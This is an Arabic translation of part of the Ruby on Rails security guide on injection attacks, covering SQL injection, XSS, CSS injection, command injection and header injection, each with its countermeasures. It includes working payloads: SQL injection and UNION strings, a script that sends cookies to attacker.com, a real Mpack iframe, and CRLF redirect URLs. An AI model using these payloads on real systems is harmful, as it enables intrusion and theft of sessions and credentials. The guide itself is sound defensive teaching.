الحقن صعب للغاية، لأنه يمكن أن يكون تسلك نفس الشيفرة أو المعامل سلوكًا خبيثًا في سياق واحد، ولكنها تكون غير ضارة تمامًا في سياق آخر. يمكن أن يكون السياق عبارة عن لغة برمجة نصية أو استعلام أو لغة برمجة أو بيئة صدفة أو تابع روبي/ريلز. تغطي الأقسام التالية جميع السياقات المهمة التي قد تحدث فيها هجمات حقن. القسم الأول، يغطي حكمًا هيكليًا فيما يتعلق حقن.

القوائم البيضاء والقوائم السوداء

ملاحظة: عند تطهير شيء ما أو حمايته أو التحقق منه، يفضل اللجوء إلى القوائم البيضاء عوضًا عن القوائم السوداء.

يمكن أن تكون القائمة السوداء قائمة بعناوين البريد الإلكتروني السيئة أو الإجراءات غير العامة أو وسوم HTML غير الصحيحة. هذا يعارض القائمة البيضاء التي تسرد عناوين البريد الإلكتروني الجيدة، والإجراءات العامة، ووسوم HTML الجيدة وما إلى ذلك. على الرغم من أنه من غير الممكن في بعض الأحيان إنشاء قائمة بيضاء (في مرشح الرسائل غير المرغوب بها [SPAM filter] على سبيل المثال)، تفضل اعتماد منهج القائمة البيضاء:

  • استخدم before_action باستثناء: [...] بدلًا من: [...] للإجراءات المتعلقة بالأمان. بهذه الطريقة لا تنسَ أن تقوم بتمكين التحقق من الأمان للإجراءات المضافة حديثًا.
  • اسمح باستخدام <strong> بدلاً من إزالة <script> ضد هجمات XSS. انظر أدناه للحصول على التفاصيل.
  • لا تحاول تصحيح مدخلات المستخدم بواسطة القوائم السوداء:
    • ما يلي سيجعل الهجوم يعمل: ("","<sc<script>ript>".gsub("<script>"
    • لكن ارفض الإدخال غير الصحيح.

القوائم البيضاء هي أيضًا وسيلة جيدة ضد العامل البشري في نسيان شيء ما في القائمة السوداء.

حقن SQL

ملاحظة: بفضل التوابع الذكية، لا يعد ذلك مشكلة في معظم تطبيقات ريلز. ومع ذلك، هذا هجوم مدمر وشائع في تطبيقات الويب، لذلك من المهم فهم مسبباته.

المقدمة

تهدف هجمات حقن SQL إلى التأثير على استعلامات قاعدة البيانات عن طريق معالجة معاملات تطبيق الويب. الهدف الشائع من هجمات حقن SQL هو تجاوز التفويض. هدف آخر هو تنفيذ معالجة البيانات أو قراءة البيانات التعسفية. في ما يلي مثال على كيفية عدم استخدام بيانات مدخلة من طرف المستخدم في استعلام:

Project.where("name = '#{params[:name]}'")

قد يكون هذا في إجراء بحث ويمكن للمستخدم إدخال اسم مشروع يريد العثور عليه. إذا قام مستخدم ضار بإدخال --OR 1'، فإنَّ استعلام SQL الناتج سيكون:

SELECT * FROM projects WHERE name = '' OR 1 --'

تبدأ الشرطتان تعليقًا يتجاهل كل شيء بعده. لذا يرجع الاستعلام كافة السجلات من جدول المشاريع بما في ذلك المحجوبة للمستخدم. وذلك لأن الشرط صحيح لجميع السجلات.

تجاوز التخويل

عادة ما يتضمن تطبيق الويب التحكم في الوصول. يُدخِل المستخدم بيانات اعتماد تسجيل الدخول الخاصة به ويحاول تطبيق الويب العثور على السجل المطابق في جدول المستخدمين. يمنح التطبيق الوصول عندما يجد سجلًا. ومع ذلك، قد يتجاوز المهاجم هذا التحقق باستخدام حقن تعليمة SQL. يعرض المثال التالي استعلامًا نموذجيًا لقاعدة البيانات في ريلز للعثور على السجل الأول في جدول المستخدمين الذي يطابق معاملات بيانات اعتماد تسجيل الدخول التي يوفرها المستخدم.

User.find_by("login = '#{params[:name]}' AND password = '#{params[:password]}'")

إذا قام المهاجم بإدخال 'OR' 1 '=' 1 كاسم، و 'OR' 2 '>' 1 ككلمة مرور، فسيكون استعلام SQL الناتج:

SELECT * FROM users WHERE login = '' OR '1'='1' AND password = '' OR '2'>'1' LIMIT 1

سيجد هذا ببساطة السجل الأول في قاعدة البيانات، ويمنح الوصول إلى هذا المستخدم.

القراءة غير المصرح بها

تربط التعليمة UNION استعملامين اثنين من استعلامات SQL وتعيد البيانات في مجموعة واحدة. يمكن للمهاجم استخدامها لقراءة البيانات التعسفية من قاعدة البيانات. لنأخذ المثال من الأعلى:

Project.where("name = '#{params[:name]}'")

والآن دعونا نحقن استعلام آخر باستخدام التعليمة UNION:

') UNION SELECT id,login AS name,password AS description,1,1,1 FROM users --

سيؤدي ذلك إلى استعلام SQL التالي:

SELECT * FROM projects WHERE (name = '') UNION
  SELECT id,login AS name,password AS description,1,1,1 FROM users --'

لن تكون النتيجة قائمة مشاريع (لأنه لا يوجد مشروع باسم فارغ)، ولكن قائمة بأسماء المستخدمين وكلمات المرور الخاصة بهم. نأمل أن تكون كلمات المرور مشفرة في قاعدة البيانات! المشكلة الوحيدة للمهاجم هي أن عدد الأعمدة يجب أن يكون هو نفسه في كلا الاستعلامات. هذا هو السبب في أن الاستعلام الثاني يتضمن قائمة من الواحدات (1)، والتي ستكون دائمًا القيمة 1، لمطابقة عدد الأعمدة في طلب البحث الأول.

أيضًا، يعيد الاستعلام الثاني تسمية بعض الأعمدة باستخدام التعليمة AS بحيث يعرض تطبيق الويب القيم من جدول المستخدم. تأكد من تحديث ريلز الخاصة بك إلى الإصدار 2.1.1 على أقل تقدير.

التدابير المضادة

يحتوي ريلز على مرشح مدمج لمحارف تعليمات SQL الخاصة الذي سيُهرِّب المحرف '، و "، و NULL وفواصل الأسطر. يطبق استخدام 

(Model.find(id أو (Model.find_by_some thing(something هذا الأمر تلقائيًا. ولكن في أجزاء تعليمات SQL، خاصة في أجزاء الشروط (where("...")‎) أو التابعين ()connection.execute أو ()Model.find_by_sql، يجب أن تطبق يدويًا.

بدلًا من تمرير سلسلة إلى خيار الشروط، يمكنك تمرير مصفوفة لتعقيم السلاسل الملوثة مثل:

Model.where("login = ? AND password = ?", entered_user_name, entered_password).first

كما ترى، الجزء الأول من المصفوفة عبارة عن جزء من تعليمة SQL يحتوي على علامات استفهام. الإصدارات المعقمة للمتغيرات في الجزء الثاني من المصفوفة تحل محل علامات الاستفهام. أو يمكنك تمرير جدول Hash لنفس النتيجة:

Model.where(login: entered_user_name, password: entered_password).first

شكل المصفوفة أو الجدول Hash متاح فقط في الحالات النموذجية. يمكنك تجريب ()sanitize_sql في مكان آخر. اجعل التفكير في العواقب الأمنية عند استخدام سلسلة خارجية في SQL عادةً لك.

البرمجة عبر المواقع (XSS)

ملاحظة: هذا النوع من الهجمات هي الأكثر انتشارًا، وأحد أكثر نقاط الضعف الأمنية تدميرًا في تطبيقات الويب. هذا الهجوم الخبيث يضخ رمزًا تنفيذيًا من جانب العميل. يوفر ريلز توابع مساعدة لإيقاف هذه الهجمات.

نقاط الدخول

منفذ شن المهاجم هجومه هو عنوان URL ضعيف ومعاملاته.

منافذ بدء شن الهجوم الأكثر شيوعًا هي منشورات الرسائل وتعليقات المستخدمين وكتب الزائرين، ولكن عناوين المشروعات وأسماء المستندات وصفحات نتائج البحث كانت أيضًا عرضة، إذ تعد الأماكن حيث يمكن للمستخدم إدخال البيانات فيها منافذ محتملة لشن الهجوم. ولكن لا يجب بالضرورة أن تأتي المدخلات من مربعات الإدخال على مواقع الويب، إذ فيمكن أن تكون في أي معامل URL - واضح أو مخفي أو داخلي. تذكر أن المستخدم قد يعترض أي حركة مرور للبيانات. تجعل التطبيقات أو وكلاء موقع العميل من السهل تغيير الطلبات. هناك أيضًا أماكن أخرى محتملة للهجوم مثل الإعلانات.

تعمل هجمات XSS بالشكل التالي: يحقن أحد المهاجمين بعض الرموز، ويحفظه تطبيق الويب ويعرضه على صفحة، يُقدم لاحقًا إلى أحد الضحايا. تعرض معظم أمثلة XSS ببساطة مربع تنبيه، لكنها أقوى من ذلك. يمكن لهجمات XSS سرقة ملف تعريف الارتباط، أو خطف الجلسة، أو إعادة توجيه الضحية إلى موقع ويب مزيف، أو عرض إعلانات لصالح المهاجم، أو تغيير العناصر على موقع الويب للحصول على معلومات سرية أو تثبيت برامج ضارة من خلال ثغرات أمنية في متصفح الويب.

خلال النصف الثاني من عام 2007، سجلت 88 نقطة ضعف في متصفحات موزيلا، و 22 نقطة في سفاري، و 18 نقطة في IE، و 12 نقطة في أوبرا. كما وثق تقرير التهديدات العالمية لأمن الإنترنت من سيمانتك 239 نقطة ضعف في إضافات المتصفحات في الأشهر الستة الأخيرة من عام 2007. ويعد Mpack إطارًا نشطًا وحديثًا للهجوم يستغل هذه الثغرات الأمنية. بالنسبة للمتسللين الإجراميين، فإنه من الأمور الجذابة للغاية استغلال ثغرة حقن SQL في إطار تطبيق ويب وإدراج شفرة خبيثة في كل عمود جدول نصي. في أبريل / نيسان 2008، اختُرِق أكثر من 510،000 موقع بهذا الشكل، من بينها موقع الحكومة البريطانية والأمم المتحدة والعديد من المواقع البارزة.

حقن شيفرة HTML/JavaScript

تعد اللغة الأكثر شيوعًا في هجمات XSS هي لغة JavaScript الشائعة الاستخدام في البرمجة من طرف العميل، غالبًا مع HTML. لذلك، يعد تهريب مدخلات المستخدم أمرًا ضروريًّا.

إليك أبسطة اختبار للتحقق من هجمات XSS:

<script>alert('Hello');</script>

ستعرض شيفرة JavaScript هذه ببساطة مربع تنبيه. الأمثلة التالية تفعل الشيء نفسه تمامًا، فقط في أماكن غير شائعة جدًا:

<img src=javascript:alert('Hello')>
<table background="javascript:alert('Hello')">
سرقة ملفات تعريف الارتباط

هذه الأمثلة لا تسبب أي ضرر حتى الآن، لذلك دعنا نرى كيف يمكن للمهاجم سرقة ملف تعريف الارتباط الخاص بالمستخدم (وبالتالي اختطاف جلسة المستخدم). في JavaScript، يمكنك استخدام الخاصية document.cookie لقراءة ملف تعريف ارتباط الصفحة والكتابة عليه. يفرض JavaScript تطبيق سياسة المصدر الواحد (same origin policy)، مما يعني أن برنامجًا نصيًّا من أحد النطاقات لا يمكنه الوصول إلى ملفات تعريف ارتباط نطاق آخر. تحمل الخاصية document.cookie ملف تعريف ارتباط خادم الويب الأصلي. ومع ذلك، يمكنك قراءة هذه الخاصية والكتابة عليها إذا ضمّنت الشيفرة مباشرة في صفحة HTML (كما يحدث مع XSS). احقن الشيفرة التالية في أي مكان في تطبيق الويب الخاص بك لرؤية ملف تعريف الارتباط الخاص بك في صفحة النتائج:

<script>document.write(document.cookie);</script>

بالنسبة للمهاجم، بالطبع، هذا ليس مفيدًا، حيث سيرى الضحية ملف تعريف الارتباط الخاص به. سيحاول المثال التالي تحميل صورة من العنوان http://www.attacker.com/‎ بالإضافة إلى ملف تعريف الارتباط. بالطبع هذا العنوان غير موجود، لذلك لا يعرض المتصفح أي شيء. ولكن يمكن للمهاجم مراجعة ملفات الدخول إلى خادم الويب الخاص به لرؤية ملف تعريف الارتباط الخاص بالضحية.

<script>document.write('<img src="http://www.attacker.com/' + document.cookie + '">');</script>

ستقرأ ملفات السجل على www.attacker.com على النحو التالي:

GET http://www.attacker.com/_app_session=836c1c25278e5b321d6bea4f19cb57e2

يمكنك تخفيف هذه الهجمات (بطريقة واضحة) بإضافة الراية httpOnly إلى ملفات تعريف الارتباط، بحيث لا يمكن قراءة document.cookie بواسطة JavaScript. يمكن استخدام ملفات تعريف الارتباط التي تخص HTTP فقط بدءًا من IE v6.SP1 و Firefox v2.0.0.5 و Opera 9.5 و Safari 4 و Chrome 1.0.154. إلا أن المتصفحات القديمة الأخرى (مثل WebTV و IE 5.5 على Mac) يمكن أن تتسبب في فشل تحميل الصفحة. كن حذرًا من أن ملفات تعريف الارتباط ستظل مرئية باستخدام Ajax مع ذلك.

التشويه

مع تشويه صفحة الويب، يمكن للمهاجم القيام بالكثير من الأشياء مثل تقديم معلومات خاطئة أو إغراء الضحية لدخول موقع المهاجم على الإنترنت لسرقة ملف تعريف الارتباط أو بيانات اعتماد تسجيل الدخول أو بيانات حساسة أخرى. الطريقة الأكثر شيوعًا هي تضمين شيفرة من مصادر خارجية بواسطة إطارات iframe:

<iframe name="StatPage" src="http://58.xx.xxx.xxx" width=5 height=5 style="display:none"></iframe>

يؤدي هذا إلى تحميل شيفرة HTML و/أو JavaScript عشوائيًا من مصدر خارجي وتضمينها كجزء من الموقع. أخذت الشيفرة السابقة للإطار iframe من هجوم فعلي نُفِّذ على مواقع إيطالية شرعية باستخدام إطار الهجوم Mpack. يحاول الإطار Mpack تثبيت برامج ضارة من خلال ثغرات أمنية في متصفح الويب، إذ نسبة نجاح هذا الهجوم كبيرة تصل إلى 50٪ من الهجمات.

يمكن أن يكون الهجوم أكثر تخصصًّا ويتداخل مع موقع الويب بالكامل أو يعرض نموذج تسجيل الدخول مشابه تمامًا لنموذج الموقع الأصلي، ولكنه ينقل اسم المستخدم وكلمة المرور إلى موقع المهاجم أو يمكنه استخدام شيفرة CSS و/أو JavaScript لإخفاء رابط مشروع في تطبيق الويب، وعرض رابط آخر في مكانه ليعيد المهاجم التوجيه إلى موقع ويب مزيف.

هجمات الحقن الانعكاسية (reflected injection attacks) هي تلك التي لا تخزن الحمولة فيها لعرضها على الضحية في وقت لاحق، ولكنها مدرجة في عنوان URL. تفشل نماذج البحث الخاصة في تهريب سلسلة البحث. يعرض الرابط التالي صفحة ذكرت أن "جورج بوش عين صبيًا في التاسعة من عمره ليكون رئيسًا ...":

http://www.cbsnews.com/stories/2002/02/15/weather_local/main501644.shtml?zipcode=1-->
  <script src=http://www.securitylab.ru/test/sc.js></script><!--
التدابير المضادة

من المهم للغاية ترشيح المدخلات الضارة، ولكن من المهم أيضًا تهريب مخرجات تطبيق الويب.

خاصة بالنسبة إلى هجمات XSS، من المهم القيام بتصفية المدخلات باستعمال القائمة البيضاء بدلًا من القائمة السوداء. تشير تصفية القائمة البيضاء إلى القيم المسموح بها على عكس القيم غير المسموح بها. القوائم السوداء ليست كاملة أبدًا.

تخيل حذف القائمة السوداء الكلمة "script" من مدخلات المستخدم فقط. بذلك، يمكن للمهاجم حقن "<scrscriptipt>"، التي تتحول بعد ترشيحها إلى "<script>" فما الفائدة؟! تستخدم الإصدارات السابقة من ريلز أسلوب القائمة السوداء مع التوابع ()strip_tags و ()strip_links و ()sanitize. لذلك، كان هذا النوع من الحقن ممكنًا:

strip_tags("some<<b>script>alert('hello')<</b>/script>")

هذا يعيد "some<script>alert('hello')</script>‎"، مما يؤدي إلى تنفيذ الهجوم. وهذا هو السبب في أن نهج القائمة البيضاء أفضل بكثير باستخدام التابع sanitize()‎ المحدث في الإصدار 2:

tags = %w(a acronym b strong i em li ul ol h1 h2 h3 h4 h5 h6 blockquote br cite sub sup ins p)
s = sanitize(user_input, tags: tags, attributes: %w(href title))

هذا يسمح فقط بوجود الوسوم المحددة ويعمل بطريقة جيدة، حتى ضد جميع أنواع الحيل والوسوم المشوهة.

كخطوة ثانية، من الممارسات الجيدة التخلص من كل مخرجات التطبيق، خاصة عند إعادة عرض مدخلات المستخدم، والتي لم ترشح (كما هو موضح في مثال نموذج البحث الذي مرَّ معنا سابقًا). استخدم التابع ()escapeHTML (أو الاسم البديل ()h) لاستبدال أحرف HTML المدخلة مثل &، و "، و <، و > من خلال تمثيلها دون تفسير في HTML بالشكل ‎&amp;‎، و ‎&quot;‎، و ‎&lt;‎، و ‎&gt;‎.

التشوش وحقن الترميز

تعتمد حركة مرور الشبكة في الغالب على الأحرف الأبجدية الغربية المحدودة، لذا ظهرت ترميزات جديدة، مثل Unicode، لنقل الأحرف بلغات أخرى. ولكن هذا يمثل أيضًا تهديدًا لتطبيقات الويب، حيث يمكن إخفاء الشيفرة الضارة في ترميزات مختلفة قد يتمكن متصفح الويب من معالجتها، ولكن قد لا يكون تطبيق الويب قادرًا على كذلك. في ما يلي الهجوم موجَّه يجري تنفيذه بتشفير UTF-8:

<IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;
  &#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>

يُظهِر هذا المثال مربعًا منبثقًا مكتوب ضمنه رسالة. يُتعرَف عليه من قبل المرشح ()sanitize. هنالك أداة رائعة لتعتيم وترميز السلاسل، وبالتالي "تعرف على عدوك"، هي Hackvertor. يعمل التابع ()sanitize الخاص بريلز عملًا جيدًا لصد هجمات الترميز.

أمثلة واقعية

من أجل فهم الهجمات التي تُنفَّذ اليوم على تطبيقات الويب، من الأفضل إلقاء نظرة على بعض توجهات هجمات حقيقية.

فيما يلي مقتطفات من الدودة Js.Yamanner@m في بريد Yahoo. ظهرت في 11 يونيو 2006 وكانت أول دودة تمثِّل واجهة بريد الويب:

<img src='http://us.i1.yimg.com/us.yimg.com/i/us/nt/ma/ma_mail_1.gif'
  target=""onload="var http_request = false;    var Email = '';
  var IDList = '';   var CRumb = '';   function makeRequest(url, Func, Method,Param) { ...

تستغل هذه الديدان ثغرة في مرشح HTML/JavaScript من Yahoo، والذي يعيد تصفية كل الخاصيات target و onload في الوسوم (لأنه يمكن أن تكون شيفرة JavaScript). يطبق المرشح مرة واحدة فقط، ومع ذلك، تبقى الخاصية onload مع رمز الدودة في مكانها. هذا مثال جيد على عدم اكتمال عوامل تصفية القائمة السوداء ولماذا يصعب السماح باستخدام HTML / JavaScript في تطبيق ويب.

وهناك دودة بريد إلكتروني أخرى تعتمد على مفهوم الإنترنت وهي Nduja، وهي دودة عابرة للنطاقات لأربعة خدمات بريد ويب إيطالية. يمكنك العثور على مزيد من التفاصيل في هذه الورقة التي كتبها Rosario Valotta. هدف كل ديدان بريد الويب هو حصاد أكبر قدر من عناوين البريد الإلكتروني، وهو أمر يمكن أن يجني منه القراصنة المجرمين أموالًا طائلة.

في كانون الأول/ديسمبر 2006، سُرِق أكثر من 34000 اسم مستخدم وكلمة مرور فعلية في هجوم MySpace الاحتيالي. كانت فكرة الهجوم إنشاء صفحة ملف شخصي باسم "login_home_index_html"، لذلك بدا عنوان URL مقنعًا جدًا. استخدم HTML و CSS المصممين خصيصًا لإخفاء محتوى MySpace الأصلي من الصفحة وعرض نموذج تسجيل دخول خاص بالمهاجم.

حقن CSS

ملاحظة: حقن CSS هو في الواقع حقن JavaScript، لأن بعض المتصفحات (مثل IE، وبعض إصدارات Safari وغيرها) تسمح بتنفيذ شيفرات JavaScript في CSS. فكر مرتين قبل السماح باستخدام تنسيق CSS مخصص في تطبيق الويب الخاص بك.

توضح حقن شيفرات CSS بشكل أفضل عبر دودة MySpace Samy المشهورة. أرسلت هذه الدودة تلقائيًا طلب صداقة إلى سامي (المهاجم) ببساطة عن طريق زيارة ملفه الشخصي. في غضون عدة ساعات، كان لديه أكثر من مليون طلب صداقة، مما أدى إلى زيادة زيادة في حركة مرور البيانات التي لم تكن بوسع MySpace تحملها مما أدى إلى توقف الموقع وخروجه عن العمل. ما يلي هو تفسير تقني لتلك الدودة.

قام MySpace بحظر العديد من الوسوم، ولكنه سمح بشيفرات CSS. لذا وضع منشئ الدودة شيفرة JavaScript داخل شيفرة CSS بالشكل التالي:

<div style="background:url('javascript:alert(1)')">

ولذلك، فإن الحمولة في الخاصية style. ولكن لا توجد وسوم اقتباس مسموح بها في الحمولة، لأن علامات الاقتباس الفردية والمزدوجة قد استخدمت بالفعل. لكن JavaScript يحتوي على الدالة ()eval سهلة التنفيذ والتي تنفذ أي سلسلة كشيفرة.

<div id="mycode" expr="alert('hah!')" style="background:url('javascript:eval(document.all.mycode.expr)')">

الدالة ()eval هي كابوس لمرشحات مدخلات القائمة السوداء، حيث أنها تسمح للخاصية style بإخفاء الكلمة "innerHTML":

alert(eval('document.body.inne' + 'rHTML'));

كانت المشكلة التالية هي ترشيح MySpace الكلمة "javascript"، لذلك استخدم المهاجم "java<NEWLINE>script" للتغلب على هذا:

<div id="mycode" expr="alert('hah!')" style="background:url('java↵
script:eval(document.all.mycode.expr)')">

مشكلة أخرى لمنشئ الدودة كانت الرموز الأمنية CSRF. لم يتمكن بدونهم من إرسال طلب صداقة عبر POST. تغلب أيضًا ذلك عن طريق إرسال GET إلى الصفحة مباشرة قبل إضافة المستخدم وتحليل النتيجة للرمز CSRF.

في النهاية، حصل على دودة بحجم 4 كيلوبايت، والتي حقنها في صفحته الشخصية.

أثبتت الخاصية moz-binding في CSS أنها طريقة أخرى لحقن JavaScript في CSS في المتصفحات القائمة على Gecko (مثل Firefox).

التدابير المضادة

هذا المثال، مرة أخرى، أظهر أن مرشح القائمة السوداء لا يكتمل أبدًا. ومع ذلك، نظرًا لأن ميزة CSS المخصصة في تطبيقات الويب تعد ميزةً نادرةً للغاية، فقد يكون من الصعب العثور على مرشح CSS للصفحات البيضاء. إذا كنت تريد السماح بألوان أو صور مخصصة، فيمكنك السماح للمستخدم باختيارها وإنشاء CSS في تطبيق الويب. استخدم التابع ()sanitize في ريلز كنموذج لمرشح قائمة بيضاء لشيفرات CSS، إذا كنت بحاجة إلى واحد بالفعل.

حقن شيفرة Textile

إذا كنت ترغب في توفير تنسيق للنص بدلًا من إضافة شيفرة HTML (بسبب دواعي الأمان)، فاستخدم لغة ترميزية قابلة للتحويل إلى لغة HTML على جانب الخادم، إذ تدعى مثل هذه اللغة لغة Textile (لغة ترميزية لتنسيق النصوص). تعد RedCloth شبه لغة من أجل روبي تؤدي هذا الغرض، ولكن إنها أيضًا عرضة لهجمات XSS بدون اتخاذ الاحتياطات اللازمة.

على سبيل المثال، تحول RedCloth الكلمة _test_ إلى <em>test<em>، مما يجعل النص مائلًا. ومع ذلك، حتى الإصدار 3.0.4، فإنه لا يزال عرضة لهجمات XSS. احصل على الإصدار 4 الجديد كليًا الذي أزال أخطاءً خطيرة. ومع ذلك، حتى هذا الإصدار يحتوي على بعض الأخطاء الأمنية، لذلك لا تزال تطبق التدابير المضادة. في ما يلي مثال للإصدار 3.0.4:

RedCloth.new('<script>alert(1)</script>').to_html
# => "<script>alert(1)</script>"

استخدم الخيار ‎:filter_html لإزالة HTML الذي لم ينشأ بواسطة المعالج Textile.

RedCloth.new('<script>alert(1)</script>', [:filter_html]).to_html
# => "alert(1)"

ومع ذلك، لا يؤدي ذلك إلى تصفية كل شيفرة HTML، حيث تترك بعض الوسوم (حسب التصميم)، على سبيل المثال :

RedCloth.new("<a href='javascript:alert(1)'>hello</a>", [:filter_html]).to_html
# => "<p><a href="javascript:alert(1)">hello</a></p>"

التدابير المضادة

من المستحسن استخدام RedCloth مع مرشح مدخلات القائمة البيضاء، كما هو موضح في الإجراءات المضادة للقسم XSS.

حقن Ajax

ملاحظة: يجب اتخاذ الاحتياطات الأمنية نفسها لإجراءات Ajax أيضًا مثل الإجراءات "العادية". ومع ذلك، هناك استثناء واحد على الأقل: يجب تهريب المخرجات مسبقًا في وحدة التحكم إذا لم يصيِّر الإجراء عرضًا.

إذا كنت تستخدم الإضافة in_place_editor، أو إجراءات تعيد سلسلة، بدلًا من عرض ملف شخصي، فيجب عليك تهريب القيمة المعادة في الإجراء. بخلاف ذلك، إذا كانت القيمة المعادة تحتوي على سلسلة XSS، فستُنفذ الشيفرة الضارة عند الرجوع إلى المتصفح. هرِّب أي قيمة مدخلة باستخدام التابع ()h.

حقن سطر الأوامر

ملاحظة: استخدم معاملات سطر الأوامر التي يمررها المستخدم بحذر.

إذا كان يتوجب على التطبيق الخاص بك تنفيذ الأوامر في نظام التشغيل الأساسي، فهناك عدة توابع في روبي للقيام بذلك هي: exec(command)‎، و syscall(command)‎، و system(command)‎، و command. يجب عليك أن تكون حذرًا بشكل خاص مع هذه الدوال إذا كان المستخدم قد يدخل الأمر كله، أو جزءًا منه. ويرجع ذلك إلى أنه في معظم الصدفات، يمكنك تنفيذ أمر آخر في نهاية الأمر الأول عبر وصله الأوامر بفاصلة منقوطة (؛) أو خط عمودي (|).

يتمثل الإجراء المضاد في استخدام التابع (system(command, parameters الذي يمرر معاملات سطر الأوامر بأمان.

system("/bin/echo","hello; rm *")
# ولا يحذف أية ملفات "hello; rm *" يطبع

حقن ترويسات

ملاحظة: تولد ترويسات HTTP ديناميكيًا وقد تُستخدم مدخلات من طرف المستخدم في ظروف معينة. يمكن أن يؤدي ذلك إلى إعادة توجيه خاطئة أو تقاطع استجابة XSS أو HTTP.

تحتوي ترويسات HTTP على Referer و User-Agent (برنامج العميل) وحقل ملفات تعريف الارتباط، إلى جانب أشياء أخرى. على سبيل المثال، تحتوي ترويسات الاستجابة على رمز الحالة، وملف تعريف الارتباط والموقع (عنوان URL الهدف لإعادة التوجيه إليه). كل منهم موفر من قبل المستخدم ويمكن التلاعب به بجهد أكبر أو أقل. تذكر أن تهرِّب حقول هذه الترويسات أيضًا. على سبيل المثال، عند عرض وكيل المستخدم في منطقة الإدارة.

بالإضافة إلى ذلك، من المهم معرفة ما يحدث عند إنشاء ترويسة استجابة تستند جزئيًا إلى مخلات من المستخدم. على سبيل المثال، قد ترغب في إعادة توجيه المستخدم إلى صفحة معينة. للقيام بذلك، عرف الحقل "referer" في نموذج لإعادة التوجيه إلى العنوان المحدد:

redirect_to params[:referer]

ما يحدث هو أن ريلز تضع السلسلة في حقل ترويسة الموقع (Location header) وترسل رمز الحالة 302 (إعادة توجيه) إلى المتصفح. أول ما يفعله المستخدم الضار، هو:

http://www.yourapplication.com/controller/action?referer=http://www.malicious.tld

وبسبب وجود خلل في ريلز (وروبي) حتى الإصدار 2.1.2 (باستثنائه)، قد يحقن أحد المخترقين حقول ترويسات عشوائية؛ على سبيل المثال مثل هذا:

http://www.yourapplication.com/controller/action?referer=http://www.malicious.tld%0d%0aX-Header:+Hi!
http://www.yourapplication.com/controller/action?referer=path/at/your/app%0d%0aLocation:+http://www.malicious.tld

تجدر الإشارة إلى أن "‎%0d%0a" عنوان URL مشفر لـ "‎\r\ n" وهي عبارة عن محرف العودة إلى بداية السطر ومحرف السطر الجديد (CRLF) في روبي. وبالتالي ستكون ترويسة HTTP الناتجة للمثال الثاني هي ما يلي لأن حقل ترويسة الموقع (Location) الثانية تحل محل الأولى.

HTTP/1.1 302 Moved Temporarily
(...)
Location: http://www.malicious.tld

لذا، تستند توجهات بداية شن الهجوم لحقن الترويسات على حقن محارف CRLF في حقل أي ترويسة. وماذا يمكن أن يفعل المهاجم مع إعادة توجيه كاذبة؟ يمكنه إعادة التوجيه إلى موقع تصيد يشبه موقع الويب الخاص بك، إذ يطلب آنذاك تسجيل الدخول مرة أخرى (لترسل بيانات تسجيل الدخول إلى المهاجم). أو يمكنه تثبيت برامج ضارة من خلال ثغرات أمنية للمتصفح على هذا الموقع. يهرب الإصدار 2.1.2 من ريلز هذه المحارف لحقل الموقع Location في التابع redirect_to. تأكد من القيام بذلك بنفسك عند إنشاء حقول ترويسات أخرى تعتمد على مدخلات المستخدم.

تقسيم الاستجابة

إذا كانت عملية حقن الترويسات ممكنة، فقد يكون تقسيم الاستجابة ممكنًا أيضًا. في HTTP، يتبع كتلة الترويسات محرفين اثنين من CRLF ثم البيانات الفعلية (شيفرة HTML عادةً). فكرة تقسيم الاستجابة هي إدخال محرفين CRLF اثنين في حقل أي ترويسة، متبوعين بإجابة أخرى باستخدام شيفرة HTML خبيثة. سيكون الرد بالشكل التالي:

HTTP/1.1 302 Found [First standard 302 response]
Date: Tue, 12 Apr 2005 22:09:07 GMT
Location:
Content-Type: text/html
 
 
HTTP/1.1 200 OK [Second New response created by attacker begins]
Content-Type: text/html
 
 
&lt;html&gt;&lt;font color=red&gt;hey&lt;/font&gt;&lt;/html&gt; [Arbitrary malicious input is
Keep-Alive: timeout=15, max=100         shown as the redirected page]
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html

في ظل ظروف معينة، هذا من شأنه تقديم شيفرة HTML ضارة إلى الضحية. ومع ذلك، يبدو أن هذا يعمل فقط مع الاتصالات التي من النوع Keep-Alive (وتستخدم العديد من المتصفحات الاتصالات لمرة واحدة). لكن لا يمكنك الاعتماد على هذا. في أي حال، هذا خطأ خطير، ويجب تحديث ريلز إلى الإصدار 2.0.5 أو 2.1.2 على أقل تقدير للقضاء على مخاطر حقن الترويسات (وبالتالي تقسيم الاستجابة).

جيل الاستعلام غير الآمن

بسبب الطريقة التي يفسر بها Active Record المعاملات في تركيبة مع الطريقة التي يوزع Rack بها معاملات الاستعلام، كان من الممكن إصدار استعلامات قاعدة بيانات غير متوقعة مع IS NULL. استجابة لهذه المشكلة الأمنية (CVE-2012-2660، و CVE-2012-2694، و CVE-2013-0155) تم تقديم التابع deep_munge كحل للحفاظ على أمان تطبيقات ريلز بشكل افتراضي.

إليك مثال على شيفرة برمجية ضعيفة يمكن استخدامها من قِبل المهاجم، إذا لم يُنفذ deep_munge:

unless params[:token].nil?
  user = User.find_by_token(params[:token])
  user.reset_password!
end

عندما تكون [params[:token واحدة من: [nil] أو [nil, nil, ...‎] أو [‎'foo', nil]، فإنَّها ستتجاوز الاختبار لـ nil، لكن IS NULL أو IN ('foo', NULL)‎ حيث ستظل الجمل متاحة لإضافة استعلام SQL في المستقبل.

للحفاظ على أمان تطبيقات ريلز بشكل افتراضي، يستبدل التابع deep_munge بعض القيم بـ nil. يعرض الجدول أدناه الشكل الذي تبدو عليه المعاملات استنادًا إلى شيفرة JSON المرسلة في الطلب:

JSON المعاملات
{ ‎"person": null } { :person => nil }
{ ‎"person": []‎ } { ‎:person => []‎ }
{ ‎"person": [null]‎ } {‎:person => [] ‎ }
{ ‎"person": [null, null, ...]‎ } { ‎:person => []‎ }
{ ‎"person": ["foo", null]‎ } { ‎:person => ["foo"]‎ }

من الممكن العودة إلى السلوك القديم وتعطيل ميزة deep_munge من إعدادات تكوين التطبيق الخاص بك إذا كنت على علم بالمخاطر وتعرف كيفية التعامل معها:

config.action_dispatch.perform_deep_munge = false

الترويسات الافتراضية

تتلقى كل استجابة HTTP من تطبيق ريلز ترويسات الأمان الافتراضية التالية:

config.action_dispatch.default_headers = {
  'X-Frame-Options' => 'SAMEORIGIN',
  'X-XSS-Protection' => '1; mode=block',
  'X-Content-Type-Options' => 'nosniff',
  'X-Download-Options' => 'noopen',
  'X-Permitted-Cross-Domain-Policies' => 'none',
